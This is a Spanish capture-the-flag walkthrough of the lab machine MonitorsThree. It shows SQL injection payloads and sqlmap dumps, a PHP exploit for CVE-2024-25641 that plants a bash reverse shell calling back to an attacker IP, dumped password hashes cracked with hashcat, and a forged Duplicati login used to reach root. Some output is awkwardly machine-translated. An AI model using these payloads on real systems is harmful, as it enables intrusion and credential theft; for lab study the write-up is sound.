MonitorsThree (Inyección SQL)

Entramos al puerto 80:

dirbúsqueda:

dirsearch -u monitorsthree.htb -t 50

Descubrir:login.php

Difusión de subdominios (Dependiendo donde este tu diccionario)

ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt  -u http://monitorsthree.htb -H "Host:FUZZ.monitorsthree.htb" -ac 
Entramos al subdominio

Inyección SQL en el dominio

Cuando navego por el sitio encuentro una página de restablecimiento de contraseña.

  • PARA HACER LA INYECCION SQL TENEMOS QUE COPIAR TODO LO QUE NOS ENTREGA EL BURPSUITE A UN ARCHIVO:

Ahora con el siguiente comando:

sqlmap -r solicitud.txt -dbms=mysql --dump 

Esto nos entrego el nombre de la base de datos:

 _db
[22:24:21] [INFO] fetching tables for database: 'monitorsthre_db'
[22:24:21] [INFO] fetching number of tables for database 'monitorsthre_db'

Ahora que aprendí el nombre de la base de datos, probaré los nombres de tabla y columna predeterminados y extraeré los datos:

sqlmap -r request.txt --batch -T users -C nombredeusuario,contraseña -D monitorsthree_db --dump --level=3 --risk=3 --threads=10 --skip=dbs,nombredehost
[07:24:54] [ADVERTENCIA] No se encontraron contraseñas claras                                                                                                                                             
Base de datos: monitorsthree_db
Tabla: usuarios
[4 entradas]
+-----------+----------------------------------+
| nombre de usuario | contraseña |
+-----------+----------------------------------+
| janderson | 1e68b6eb86b45f6d92f8f292428f77ac |
| administrador | 31a181c8372e3afc59dab863430610e8 |
| 633b683cc128fe244b00f176c8a950f5 |
| mwatson | c585d01f2eb3e6e1073e92023088a3dd |
+-----------+----------------------------------+

OTRA MANERA:

Como Sqlmap realmente se estaba ejecutando demasiado lento y había un mensaje de error, lo probé y descubrí que podía informar el error directamente e inyectarlo.

admin' and extractvalue(1,concat('~',database()))#

Encontré una tabla de usuarios

admin' AND extractvalue(1,concat('~',(SELECT SUBSTRING(GROUP_CONCAT(column_name),1,30) FROM information_schema.columns WHERE table_name='users')))#

-----------------------------------------------------------------------------------------------

  • CVE-2024-25641

    En primer lugar, creo un exploit llamadotest.php

Codigo:

<?php

$xmldata = "<xml>
   <files>
       <file>
           <name>resource/test.php</name>
           <data>%s</data>
           <filesignature>%s</filesignature>
       </file>
   </files>
   <publickey>%s</publickey>
   <signature></signature>
</xml>";
$filedata = '<?php exec("bash -c \'bash -i >& /dev/tcp/10.10.16.4/4444  0>&1\'") ?>';
$keypair = openssl_pkey_new(); 
$public_key = openssl_pkey_get_details($keypair)["key"]; 
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");

?>

Esto nos entrega un test.xml.gz al ejecutar

php test.php

Ahora al entrar al direcorio donde se importo el test.php nos tendria que dar la revershell:

Ahora buscando entramos a:

/var/www/html/cacti/include/config.php

Contiene:

$tipo_de_base_de_datos = 'mysql';
$database_default = 'cactus';
$nombre_host_de_base_de_datos = 'localhost';
$nombre_usuario_base_de_datos = 'cactiuser';
$contraseña_base_de_datos = 'cactiuser';
$puerto_base_de_datos = '3306';
$database_retries = 5;
$database_ssl = falso;
$clave_ssl_base_de_datos = '';
$certificado_ssl_base_de_datos = '';
$base de datos_ssl_ca = '';
$database_persist = falso;

Me conecto a mysql:

mysql -u cactiuser -p cacti
Enter password: cactiuser
USE cacti;
show tables;

Estoy sacando todos los datos de la user_authtabla:

SELECT * FROM user_auth;
id      username        password        realm   full_name       email_address   must_change_password    password_change show_tree       show_list       show_preview    graph_settings  login_opts   policy_graphs   policy_trees    policy_hosts    policy_graph_templates  enabled lastchange      lastlogin       password_history        locked  failed_attempts lastfail        reset_perms
1       admin   $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G    0       Administrator   marcus@monitorsthree.htb                        on      on      on      on      2   11       1       1       on      -1      -1      -1              0       0       436423766
3       guest   $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu    0       Guest Account   guest@monitorsthree.htb                 on      on      on              1       1   11       1               -1      -1      -1              0       0       3774379591
4       marcus  $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IB

Ahora lo usaré hashcatpara romper el marcuspase.

hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt       
 
hashcat (v6.2.6) iniciando
 


la API OpenCL (OpenCL 3.0 PoCL 5.0+debian Linux, Ninguno+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Plataforma #1 [El proyecto pocl]
 
================================================== ================================================== ================================================
 
* Dispositivo n.° 1 : cpu-sandybridge-Intel(R) Core(TM) i7-8750H CPU a 2,20 GHz, 2240/4545 MB (1024 MB asignables), 4 MCU
 


Longitud mínima de contraseña compatible con el kernel: 0
 
Longitud máxima de contraseña compatible con el kernel: 72
 


Hashes: 1 resúmenes; 1 resumen único, 1 sal única
 
Mapas de bits: 16 bits, 65536 entradas, máscara 0x0000ffff, 262144 bytes, 5/13 rotaciones
 
Reglas: 1
 


Optimizadores aplicados:
 
* Byte cero
 
* Hash único
 
* Sal única
 


Vigilante: El disparador de cancelación de temperatura está establecido en Memoria de host 90c
 


requerida para este ataque: 0 MB
 


Caché de diccionario alcanzada:
 
* Nombre de archivo..: /usr/share/wordlists/rockyou.txt
 
* Contraseñas..: 14344385
 
* Bytes.....: 139921507
 
* Espacio de claves..: 14344385
 


Cracking ¿El rendimiento es menor al esperado?                 
 


* Agregue -w 3 a la línea de comandos.
 
  Esto puede hacer que la pantalla se retrase.
 


* Agregue -S a la línea de comandos.
 
  Esto tiene un impacto drástico en la velocidad, pero puede ser mejor para ataques específicos.
 
  Los escenarios típicos son una pequeña lista de palabras pero un amplio conjunto de reglas.
 


* Actualice el controlador/tiempo de ejecución de su API de backend de la manera correcta:
 
  https://hashcat.net/faq/wrongdriver
 


* Cree más elementos de trabajo para aprovechar su poder de paralelización:
 
  https://hashcat.net/faq/morework
 


$2y$10 $Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK:12345678910
 
                                                          

Sesión..........: hashcat
 
Estado...........: Crackeado
 
Hash.Mode........: 3200 (bcrypt $2* $, Blowfish (Unix))
 
Hash.Target......: $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIa...9IBjtK
 
Hora.Inicio.....: Mié 28 de agosto 07:58:43 2024 (12 segundos)
 
Tiempo estimado...: Mié 28 ago 07:58:55 2024 (0 segundos)
 
Kernel.Feature...: Pure Kernel
 
Guess.Base.......: Archivo (/usr/share/wordlists/rockyou.txt)
 
Guess.Queue......: 1/1 (100,00 %)
 
Velocidad.#1.........: 38 H/s (6,29 ms) @ Accel:4 Loops:16 Thr:1 Vec:1
 
Recuperado........: 1/1 (100,00 %) Resúmenes (totales), 1/1 (100,00 %) Resúmenes (nuevos)
 
Progreso. ........: 448/14344385 (0,00%)
 
Rechazado.........: 0/448 (0,00%)
 
Punto de restauración....: 432/14344385 (0,00%)

Restaurar.Sub.#1...: Sal:0 Amplificador:0-1 Iteración:1008-1024
 
Candidato.Motor.: Generador de dispositivos
 
Candidatos.#1....: 12345678910 -> miamor
 
Hardware.Mon.#1..: Utilidad: 87%
 


Iniciado: Mié Ago 28 07:58:36 2024
 
Detenido: Mié Ago 28 07:58:56 2024

Contraseña_: 12345678910

www-data@monitorsthree:~/html/cacti/resource$ su marcos
su marcos
su: user marcos does not exist or the user entry does not contain all the required fields
www-data@monitorsthree:~/html/cacti/resource$ su marcus
su marcus
Password: 12345678910
whoami
marcus
id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
ls
index.php
script_queries
script_server
snmp_queries
cat /home/marcus/user.txt

Entramos con la llave:

┌──(docker㉿docker)-[~/HackBox]
└─$ chmod 600 id_rsa    
                                                                                                                                                                                                                   
┌──(docker㉿docker)-[~/HackBox]
└─$ ssh -i id_rsa marcus@monitorsthree.htb    

Enumeración de puertos abiertos adentro de la maquina:

netstat -tlnp
 
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name                                                                                                                   
tcp        0      0 0.0.0.0:8084            0.0.0.0:*               LISTEN      -                                                                                                                                  
tcp        0      0 127.0.0.1:8200          0.0.0.0:*               LISTEN      -                                                                                                                                  
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                                                                                                                                  
tcp        0      0 127.0.0.1:36483         0.0.0.0:*               LISTEN      -                                                                                                                                  
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                                                                                                                                  
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                                                                                                                                  
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                                                                                                                                  
tcp6       0      0 :::80                   :::*                    LISTEN      -                                                                                                                                  
tcp6       0      0 :::22                   :::*                    LISTEN      -                                                                                                                                  
marcus@monitorsthree:~$                                                                                                                                                                                            
                               

Veo el puerto 8200 aquí y entiendo que puedo trasladarlo a mi máquina local.

ssh marcus@monitorsthree.htb -L 8200:127.0.0.1:8200 -i id_rsa

Cuando busco, llego a la información importante sobre duplicati en el /opt/duplicati/configdirectorio y descargo el archivo de la base de datos:

En la maquina victima al entrar al mismo directorio se encontro un .sqlite:

marcus@monitorsthree:/opt/duplicati/config$ ls
CTADPNHLTC.sqlite  Duplicati-server.sqlite  IIFUQOTYCT.sqlite  control_dir_v2
marcus@monitorsthree:/opt/duplicati/config$ 

Lo descargaremos en nuestra maquina para ver que contiene:

scp -i id_rsa marcus@monitorsthree.htb:/opt/duplicati/config/Duplicati-server.sqlite .

Una vez descargado:

sqlite3 Duplicati-server.sqlite  
.tables
 
SELECT * from Opción;
sqlite> SELECT * from Option;
4||encryption-module|
4||compression-module|zip
4||dblock-size|50mb
4||--no-encryption|true
-1||--asynchronous-upload-limit|50
-1||--asynchronous-concurrent-upload-limit|50
-2||startup-delay|0s
-2||max-download-speed|
-2||max-upload-speed|
-2||thread-priority|
-2||last-webserver-port|8200
-2||is-first-run|
-2||server-port-changed|True
-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
-2||server-passphrase-trayicon|df383830-e7ee-4b3d-b0ce-9914d1ad5324
-2||server-passphrase-trayicon-hash|gyD6Y3+7KBgf9zUw21JfhNrXfFTh0W6keyX+UiaGCaA=
-2||last-update-check|638709389567946590
-2||update-check-interval|
-2||update-check-latest|
-2||unacked-error|False
-2||unacked-warning|False
-2||server-listen-interface|any
-2||server-ssl-certificate|
-2||has-fixed-invalid-backup-id|True
-2||update-channel|
-2||usage-reporter-level|
-2||has-asked-for-password-protection|true
-2||disable-tray-icon-login|false
-2||allowed-hostnames|*
sqlite> 

Sigo exactamente esta fuente para poder iniciar sesión.

1) Primero, decodificaré el valor de la contraseña del servidor que obtuve en la base de datos base64y luego lo convertiré al hexadecimalformato (hexadecimal).

echo 'Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=' | base64 -d | xxd -p -c 256
 
  1. Cuando reenvío esto como una intercepción en burp, ya no veré un get-nonce, en su lugar veré un parámetro de contraseña.

  1. Todo será como se muestra a continuación, solo haga que el valor nonce en burp sea el mismo que el suyo y no olvide decodificar el valor nonce en la URL.

var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a'; 
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('NonceFromBurp') + saltedpwd)).toString(CryptoJS.enc.Base64);
console.log(noncedpwd);

4) Ahora cambio el valor noncedpwd que obtuve con mi parámetro de contraseña en burp.

¡No olvides codificar la URL del valor que obtuviste, de lo contrario no podrás iniciar sesión! CTRL + U para eructar.

Realizar copia de seguridad como root

marcus@monitorsthree:~$ pwd
 
/home/marcus
 
marcus@monitorsthree:~$ ls -la
 
total 48
 
drwxr-x--- 5 marcus marcus 4096 28 ago 00:53 .
 
drwxr-xr-x 3 root root 4096 26 de mayo 16:34 ..
 
lrwxrwxrwx 1 root root 9 16 de agosto 11:29 .bash_history -> /dev/null
 
-rw-r--r-- 1 marcus marcus 220 6 de enero de 2022 .bash_logout
 
-rw-r--r-- 1 marcus marcus 3771 6 de enero de 2022 .bashrc
 
drwx------ 2 marcus marcus 4096 16 de agosto 11:35 .cache
 
-rw-r--r-- 1 marcus marcus 807 6 de enero de 2022 .profile
 
drwx------ 2 marcus marcus 4096 27 de agosto 23:35 .ssh
 
-rw-r--r-- 1 raíz raíz 637 28 ago 00:46 duplicati-20240828T004650Z.dlist.zip
 
-rw-r--r-- 1 raíz raíz 717 28 ago 00:46 duplicati-bc6a5f7c6addc4f44b8430b865198f34a.dblock.zip
 
-rw-r--r-- 1 raíz raíz 608 28 ago 00:46 duplicati-i703d81b1824b49398069e72a56e72ec6.dindex.zip
 
drwxr-xr-x 2 raíz raíz 4096 28 ago 00:53 root.txt
 
-rw-r----- 1 raíz marcus 33 27 ago 23:35 usuario.txt
 
marcus@monitorsthree:~$ cd root.txt
 
marcus@monitorsthree:~/root.txt$ ls
 
root.txt

FIN...

Last updated